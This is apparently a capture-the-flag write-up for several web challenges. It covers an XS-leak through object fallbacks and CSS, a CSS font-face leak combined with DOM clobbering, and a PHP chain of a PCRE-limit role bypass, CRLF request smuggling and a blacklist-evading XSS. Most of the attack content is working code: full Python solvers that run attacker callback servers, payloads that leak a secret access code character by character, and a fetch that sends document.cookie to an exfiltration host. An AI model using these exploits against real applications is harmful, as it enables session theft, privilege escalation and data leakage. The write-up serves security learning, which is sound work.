   name = str(request.args.get('name', '')).strip().replace('\n', ' ')
   message = str(request.args.get('message', '')).strip().replace('\n', ' ')
   if not name or not message:
       return make_response("<p>at least give me your name or message</p>", 400)
   return render_template('customer-message.html', name=name, message=message)

customer-message.html

   <div class="message-card">
     <div class="sender">{{name|safe}}</div>
     <div class="text">
       {{message|safe}}
     </div>
   </div>

By reference of Jinja templating, filter safe is: Mark the value as safe which means that in an environment with automatic escaping enabled this variable will not be escaped. And there was strict csp

 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src https://fonts.gstatic.com; img-src *; script-src 'self'; base-uri 'self'; frame-ancestors 'none';">

Only style is using ‘unsafe-inline’ so we can specify style into argument message or name

XS Leak

Lets take a look the different between /guess-access and /hidden-access endpoint

@app.route("/guess-access", methods=['GET'])
@auth_required
def guessAccess():
   if not request.args.get('access_code'):
       return make_response("<p>Do you understand what is guess?</p>", 404)
   access_code = unquote(request.args.get('access_code'))
   if str(HIDDEN_INFO) == access_code:
       flag = os.getenv("FLAG") or "ITSEC{FAKE_FLAG}"
       return make_response(f"<h1>{flag}</h1>", 200)
   else:
       return make_response("<p>Nope Sar, dat's not da access code</p>", 404)

@app.route("/hidden-access", methods=["GET"])
@auth_required
def hiddenAccess():
   if request.user['role'] == 0 or not request.args.get('access_code'):
       return make_response("<p>Your access is nuh-uh</p>", 404)
   access_code = unquote(request.args.get('access_code'))
   if HIDDEN_INFO.startswith(access_code):
       return make_response("<p>Higher up will meet you soon</p>", 200)
   return make_response("<p>You'll get but nothing here</p>", 404)

Guess access no need to be role = 1 but the access code must be equal to HIDDEN_INFO But hidden access need to be role and the access_code only need to be start with which means if HIDDEN_INFO = “abcdefg” if we specify “a” into access_code it will return 200 Lets take a look into HTML Standard reference https://html.spec.whatwg.org/multipage/iframe-embed-object.html alt text

Using object element

<object
 type="image/png"
 data="/hidden-access?access_code=a"
 width="250"
 height="200">
 <img src="OURLEAK" loading="lazy"> <!-- FALLBACK -->
</object>

Referencing into the number 7 that we know if the object return 404 it will render the fallback tag, and for the fallback im trying to use loading lazy but it seems to be not work in my exploit, therefore im changing my approach using custom css and tag But using div tag still not work because it immediately rendered into the dom, and i found

<object
type="image/png"
data="/hidden-access?access_code=a"
width="250"
height="200">
<style>
   noscript{
       background-image: url({HOST});
   }
</style>
<noscript></noscript>
</object>

So we can use this approach for our exploit, and note: the injection will be negative If the leak reach into our server that means the access code is wrong Since the hidden_access is always digit we can create an array consist of digits If it reach our server, we remove the value from the array until the array size is 1

NOTE: Since there was send-message that will redirecting to custom-message maybe the intended way is csrf, but we just can use window.open(‘custom-message’) into our malicious website

<!DOCTYPE html>
   <html>
   <head>
     <title>XS Leak PoC</title>
   </head>
   <body>
     <h1>XS-Leak via object + background-image</h1>
     <script>
     (async() =>{{
   setTimeout(() => {{
   window.location.reload()
   }}, 5000)
   const prefix = await fetch('/prefix').then(res => res.text());
     let arr = []
     for(let x = 0; x<= 9; x++){{
       exploit = `<object data="/hidden-access?access_code=${{prefix}}${{x}}" type="text/html">
       <img src="{HOST}/leak?id=${{x}}" loading="lazy">
               </object>`
               arr[x] = window.open("http://under-development-web:5578/customer-message?name=a&message="+encodeURIComponent(exploit));
               setTimeout(() => {{
               arr[arr.length - x].close()
               }}, 1000+(x*100))
       }}
           }})()
       </script>
   </body>
   </html>

We need to close the window one by one so all window will show the image if not exists

CHAINING THE VULN

Register and login -> create exploit on website -> tell bot to visit our website -> gain access_code -> PROFIT

SOLVER

solver.py

from flask import Flask, Response, make_response, request
import requests
charset = [str(x) for x in range(10)]
prefix = ""
app = Flask(__name__)
HOST = "http://16.78.71.126:8000"
TARGET_BOT = "http://54.254.152.24:5579"
TARGET = "http://54.254.152.24:5578"
# TARGET_BOT = "http://localhost:5588"
# TARGET = "http://localhost:5578"
req = requests.Session()
body = {
   "username": "bengsky",
   "password":"123",
}
req.post(TARGET+"/register", json=body)
req.post(TARGET+"/login", json=body)
print(req.post(TARGET_BOT+"/visit", json={"url":HOST}).text)
def get_flag():
   global prefix
   global req
   text = req.get(TARGET+"/guess-access?access_code="+prefix)
   print(text.text)
   prefix = "CLOSE"
   print(text.text)
@app.route('/')
def index():
   html = f'''
   <!DOCTYPE html>
   <html>
   <head>
     <title>XS Leak PoC</title>
   </head>
   <body>
     <h1>XS-Leak via object + background-image</h1>
     <script>
     (async() =>{{
   setTimeout(() => {{
   window.location.reload()
   }}, 5000)
   const prefix = await fetch('/prefix').then(res => res.text());
   if(prefix == "CLOSE"){{
   window.close()
   }}
     let arr = []
     for(let x = 0; x<= 9; x++){{
       exploit = `<object data="/hidden-access?access_code=${{prefix}}${{x}}" type="text/html">
        <style>
           noscript{{
               background-image: url('{HOST}/leak?id=${{x}}');
           }}
       </style>
       <noscript></noscript>
               </object>`
               arr[x] = window.open("http://under-development-web:5578/customer-message?name=a&message="+encodeURIComponent(exploit));
               setTimeout(() => {{
               arr[arr.length - x].close()
               }}, 1000+(x*100))
       }}
           }})()
       </script>
   </body>
   </html>
   '''
   return make_response(html)
@app.route('/prefix')
def prefixs():
   global prefix
   global charset
   print(charset)
   if len(charset) == 1:
       prefix += ''.join(charset)
   charset = [str(x) for x in range(10)]
   print(prefix)
   if len(prefix) == 8:
       get_flag()
   return Response(prefix, mimetype='text/plain')
@app.route('/leak')
def leak():
   global prefix
   global charset
   removeId = request.args.get('id')
   charset.remove(removeId)
   return Response('ok', mimetype='text/plain')
if __name__ == '__main__':
   print("[*] Waiting for leak to trigger...")
   app.run(port=8000, host="0.0.0.0")

FINAL

[775 pts] đŸ©ž Not app revenge

revenge

This challenge is revenge from the Qualification challenge which is Note App Biasa There was several difference from the qualification challenge

CSP

Qualification

   response.headers['Content-Security-Policy'] = (
       f"default-src 'self'; "
       f"script-src 'self' 'nonce-{nonce}'; "
       f"style-src 'self' 'nonce-{nonce}'; "
       f"img-src *; "
       f"font-src 'self'; "
       f"connect-src 'self'; "
   )

Final

   response.headers['Content-Security-Policy'] = (
       f"script-src 'nonce-{nonce}'; "
       f"style-src 'self' 'nonce-{nonce}'; "
       f"img-src 'self'; "
       f"object-src 'none'; "
       f"base-uri 'none';"
   )

With current CSP since the img-src is self, we can’t connect to our host with img src, so for the bypass we still able connect to our host using font-src

@font-face {
 font-family: "LeakFont_/notes/view/ff";
 src: url("http://HOST/leak?id=/notes/view/ff") format("woff2");
}
a[href^="/notes/view/ff"] { font-family: "LeakFont_/notes/view/ff" !important; }

OPTIONS

const options = {
   "custom_theme": false,
}

If custom_theme was disabled how we can trigger

if (options.custom_theme) {
       const style = document.createElement('style');
       style.textContent = document.getElementById('custom-theme-styles').textContent;
       style.nonce = '{{ nonce }}';
       document.head.appendChild(style);
       localStorage.setItem('custom_theme', style.textContent);
   }

On base.html there no checker on the options, somehow if we able to inject our css into localstorage the css still injected into the header section

Let’s take a look into view.html

   <div class="note-content" id="note-content">
       <p>{{ note.content|safe }}</p>
   </div>
</div>
<script src="{{ url_for('static', filename='js/options.js') }}" nonce="{{ nonce }}"></script>
<script nonce="{{ nonce }}">
   if (options.custom_theme) {
       const style = document.createElement('style');
       style.textContent = document.getElementById('custom-theme-styles').textContent;
       style.nonce = '{{ nonce }}';
       document.head.appendChild(style);
       localStorage.setItem('custom_theme', style.textContent);
   }
</script>

DOMCLOBBERING

For bypassing options.custom_theme we can use DOMClobbering

DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter.

DOM1

STOP ASSIGNING VARIABLE OPTIONS

With this payload we able to poisoning the options.custom_theme But if we take a look into the view.html there was script tag that requesting into option.js that will creating options variable and then our domclobbering injection will be override

DOM1

We’re just need to stop this request but how ? Just create <script x=” without closing tag and the rest will be assigned into the x attribute

DOM1

So in our payload will be CSS Payload + Dom clobbering + <script x=”

CHAIN THE EXPLOIT

Register as user -> create css injection + redirection -> submit into admin -> Profit

SOLVER

from flask import Flask, Response, make_response, request
import requests
import threading
current_note = ""
known_prefix = "/notes/view/"
app = Flask(__name__)
import string
import requests
HOST = "http://52.77.234.0:50002/"
# HOST = "http://localhost:50002/"
EXFIL_URL = "http://HOST:8000/"


req = requests.Session()
username = "bengsky13"
password = "haha123@A"
email = "[email protected]"
req.post(HOST+"/auth/register", data={
   "username":username,
   "password":password,
   "email":email,
   "confirm_password":password
})
req.post(HOST+"/auth/login", data={
   "username":username,
   "password":password,
   "email":email,
   "confirm_password":password
})
##Create redirection
redirect = req.post(HOST+"/notes/create", data={
   "title":"1",
   "content":f"<meta http-equiv=\"refresh\" content=\"0;url={EXFIL_URL}\">"
}, allow_redirects=False).headers.get('Location').split("/")[-1]
print("Redirect id", redirect)
charset = "01234567890abcdef"
def generate_css_payload(prefix):
   css = ""
   for c1 in charset:
       for c2 in charset:
           attempt = prefix + c1 + c2
           font_name = f"LeakFont_{attempt}"
           font_url = f'{EXFIL_URL}leak?id={attempt}'
           selector = f'a[href^="{attempt}"]'


           # @font-face definition
           css += f'@font-face {{\n'
           css += f'  font-family: "{font_name}";\n'
           css += f'  src: url("{font_url}") format("woff2");\n'
           css += f'}}\n'


           # Apply font-family to matched elements
           css += f'{selector} {{ font-family: "{font_name}" !important; }}\n\n'


   return css

def create_note():
   global req
   global known_prefix
   global HOST
   payload = generate_css_payload(known_prefix)
   url = HOST+"/notes/create"
   data = {
       "title": "x",
       "content": f'<div id="custom-theme-styles">{payload}</div><form name="options"><input id="custom_theme"></form><script x="'
   }
   response = req.post(url, data=data, allow_redirects=False)
   return(response.headers.get('Location'))


@app.route('/')
def index():
   global HOST
   html = f'''
   <!DOCTYPE html>
   <html>
   <head>
     <title>CSS Leak</title>
   </head>
   <body>
   <script type="module">
   function sleep(ms) {{
       return new Promise(resolve => setTimeout(resolve, ms));
       }}
   (async() =>{{
   await sleep(200)
   for(let i = 0; i<16; i++){{
   const x = await fetch("/prefix")
   const y = await x.text()
   window.open("http://localhost:5001/"+y, "_blank")
   window.open("http://localhost:5001/notes/dashboard", "_blank")
   }}
   const x = await fetch("/done")


   }})()
   </script>
   </body>
   </html>
   '''
   return make_response(html)


@app.route('/prefix')
def prefixs():
   global known_prefix
   return Response(create_note(), mimetype='text/plain')


@app.route('/done')
def done():
   global known_prefix
   print(req.get(HOST+known_prefix).text.split('<p>Here is your flag: ')[1].split('</')[0])
   return Response(create_note(), mimetype='text/plain')


@app.route('/leak')
def leak():
   global known_prefix
   prefixs = request.args.get('id')
   known_prefix = prefixs
   return Response('ok', mimetype='text/plain')
  
def submit_bot():
   print("Submiting to bot")
   req.post(HOST+"/bot/report", json={
   "note_id":redirect
   })


if __name__ == '__main__':
   print("[*] Waiting for leak to trigger...")
   threading.Thread(target=submit_bot, daemon=True).start()
   app.run(port=8000, host="0.0.0.0")

[445 pts] Damn, I Love PHP!

DOM1

The challenge involved a multi-step attack chain exploiting weak input filtering, HTTP request smuggling, and client-side XSS to exfiltrate sensitive data. The backend attempted to sanitize inputs using a naive regex-based blocklist but failed to account for indirect invocation paths in JavaScript. By chaining a regex bypass with a crafted request smuggling payload, we triggered a server-side /report/ call containing a malicious URL. The injected payload abused JavaScript quirks to execute arbitrary code and extract cookies via location.pathname.

Bypass regex to gain admin

if (preg_match('/(admin)+/s', $newRole) ||
   preg_match('/[^\x20-\x7E]/', $newRole) ||
   !preg_match('/^[a-z0-9]+$/', $newRole)
) {
   echo "Invalid role: cannot contain 'admin'";
   exit;
}

The check intended to block any role containing the substring admin. In the challenge we were able to set role = “admin” * 10000 and the check did not block us.

Why this can happen (PCRE runtime behavior)

  • preg_match() returns 1 for a match, 0 for no match, and FALSE on an error. Errors occur when PCRE hits internal resource limits or other failures (and PHP usually emits a warning).
  • PHP / PCRE runtime parameters that affect this behavior (defaults in many PHP builds):
PCRE Configuration Option Default Changeable Note
pcre.backtrack_limit 1000000 INI_ALL Limit on internal backtracking steps.
pcre.recursion_limit 100000 INI_ALL Limit on recursion used by the engine.
pcre.jit 1 INI_ALL JIT compilation enabled by default on many builds.
  • Long or adversarial inputs combined with quantified groups can cause the regex engine to perform huge amounts of work (backtracking or recursion). If those internal limits are exceeded, PCRE will fail and preg_match() will return FALSE instead of 1. Because the code uses if (preg_match(
)) directly, a FALSE (error) is treated as “no match” and the role check is effectively bypassed.

Why this explains the observed bypass

  • Sending an extremely long role value (e.g. “admin”*10000) can push the engine over pcre.backtrack_limit or pcre.recursion_limit depending on the exact pattern, PCRE version, and memory/JIT behavior. When that happens preg_match(‘/(admin)+/s’, $newRole) can return FALSE (error), so the if branch that should reject “admin” is not executed the app proceeds and sets the role.
  • In short: a regex error due to PCRE limits is indistinguishable (to this code) from “no match”, producing an inadvertent bypass.

Smuggling (header injection → SSRF / request smuggling)

What the app did The app built headers for a curl request by reading server variables and appending lines:

foreach ($headerMap as $headerName => $serverKey) {
   if (!empty($_SERVER[$serverKey])) {
       $headerValue = urldecode($_SERVER[$serverKey]);
       $headers[] = "$headerName: $headerValue";
   }
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

We controlled an incoming request header (e.g. Accept) and put URL-encoded CRLF sequences into it. After urldecode() those became real \r\n bytes in the header value. Why this works (HTTP / cURL / PHP behavior)

  • HTTP headers are separated by CRLF (\r\n). If an application blindly inserts user-controlled text into a header line and that text contains CRLF, the network-level request built by libcurl will contain extra CRLFs and additional
  • bytes after headers effectively allowing an attacker to append extra header lines or even an entirely new HTTP request.
  • urldecode() introduces the attack vector: encoded %0D%0A%0D%0A becomes \r\n\r\n, which terminates the current header block and begins new request content when passed unchanged to CURLOPT_HTTPHEADER.
  • cURL / the HTTP parser on the target service will then parse the smuggled content as a separate request (or as extra headers + body), enabling us to change method/path from the intended GET to our injected POST to /report/.
  • The app’s code did no sanitization of header values (no CRLF stripping, no validation), so the feature that was supposed to safely proxy requests became a request-smuggling vector.

We used the admin-level /request endpoint to send a header containing a crafted CRLF payload. The internal service (internal-svc) received a POST to /report/ with our supplied body something the external app was not supposed to allow.

XSS with bypass

    $digit = $_GET['digit'];
    if ((int) $digit) {
        $forbiddenChars = array('\\', '<', '>', '', '~', '(' , ')', ',', '+', '-', '/', '*', '^', '|', '&', '!', '?', ':', ';', '.');

        foreach ($forbiddenChars as $char) {
            if (strpos($digit, $char) !== false) {
                http_response_code(403);
                die('403 Forbidden');
            }
        }
    } else {
        $digit = "0";
    }

............

<?php echo $digit; ?>
  1. When you visit the URL ?digit=3<no numeric> PHP takes the value from the digit parameter and stores it in the $digit variable. At this point, $digit contains the exact string "3<non numeric>".

  2. The code (int) $digit converts the value to an integer. In PHP, when you cast a string starting with a number, it reads the number until it hits a non-numeric character. So "3<non numeric>" becomes the integer 3. Since 3 is truthy in PHP, the if condition passes, and the script proceeds to check for forbidden characters.

  3. Forbidden Character Filtering

  4. Output Without Escaping

Finally, the script reaches the echo $digit; line. This sends the raw string 3<non numeric> directly to the browser.

Server-side blacklist attempted to strip dangerous characters:

$forbidden = ['\\','<','>','`','~','(',')',',','+','-','/','*','^','|','&','!','?',':',';','.'];

But it left characters like [], {}, = available.

How the exploit runs despite the blacklist

  • JavaScript exposes a hook Symbol.hasInstance that controls instanceof evaluation. When evaluating x instanceof Y, the engine internally calls Y[Symbol.hasInstance](x).
  • By assigning Y[Symbol.hasInstance] = eval, the act of evaluating "SOMETHING" instanceof Y will call eval("SOMETHING").
  • This technique uses only allowed tokens: [], =, quotes, instanceof, and letters. All of those were permitted by the server’s blacklist.
  • Example high-level payload (only allowed chars):
    3[o={}] in [o[Symbol['hasInstance']] = eval]["PAYLOAD" instanceof o]
    
  • This results in eval(“PAYLOAD”) being executed inside the internal page context without needing (, ), ., :, or other banned characters.

We needed the internal headless browser (the bot) to issue a request to our attacker host containing document.cookie. Direct fetch(‘https://attacker/’+document.cookie) in the injected JS was blocked by the blacklist because (, ), :, ., and / are banned.

location.hash and location.search had suffix behavior (automatic # / ?) that interfered with the string shape we needed.

location.pathname is the best solution

app:800//**/fetch(' + document.cookie + ')//')

location.pathname will be /**/fetch()// but the path not exist right ?

The internal container used PHP’s built-in server (CMD php -S 0.0.0.0:8080). In common PHP dev / single-page app setups the server is arranged so that many or all requests are handled by a front controller (an index.php) or a router script i.e., requests that do not map to a static file end up executing the main application script.

In this environment the bot’s request to an arbitrary path did not produce a simple 404; instead the same index.php(the vulnerable page with the reflected digit) was executed and served. That preserved the JS context that executed our location.pathname payload while allowing the path string to be included in the requested URL which is how the cookie reached our collector.

Practical consequence: even though the path looked “non-existent”, the dev-server / app routing delivered the vulnerable page for that path, and the browser-side pathname trick caused the browser to request the attacker-controlled URL containing the cookie.

When the bot visits http://app:8080/**/fetch(‘EXFIL_HOST/’+document.cookie)//, the path component carries the cookie payload (encoded inside the path) to the server that the bot requests, enabling exfiltration without needing to write the : or . characters directly inside the digit payload.

CHAINING THE VULN

REGISTER -> PRIVILEGE ESCALATION -> HTTP SMUGGLE -> REPORT BOT -> XSS -> PROFIT

SOLVER

from urllib.parse import quote
import requests
req = requests.Session()
HOST = "http://52.77.234.0:50001/"
# HOST = "http://localhost:50001/"
data = {
   "username":"bengskyy134",
   "password":"haha123@A"
}
req.post(HOST+"/?action=register", data=data)
req.post(HOST+"/?action=login", data=data)
req.post(HOST+"/?action=change-role", data={"role":"admin"*10000}).text
payload = "url=http://app:8080/**/fetch('EXFIL_HOST/'%2bdocument.cookie)//?digit=3[o={}]%20in%20[o[Symbol[%27hasInstance%27]]%20=%20eval][location[%27pathname%27]%20instanceof%20o]"
x = f"""\r\n\r\nPOST /report/ HTTP/1.1\r\nHost: app:8000\r\nContent-type: application/x-www-form-urlencoded\r\nUser-agent: xx\r\nContent-length: {len(payload)}\r\n\r\n{payload}"""
headers = {
   "Accept":"*/*"+quote(x)
}
c = req.post(HOST+"?action=request", headers=headers, data={"path":"ping.php"})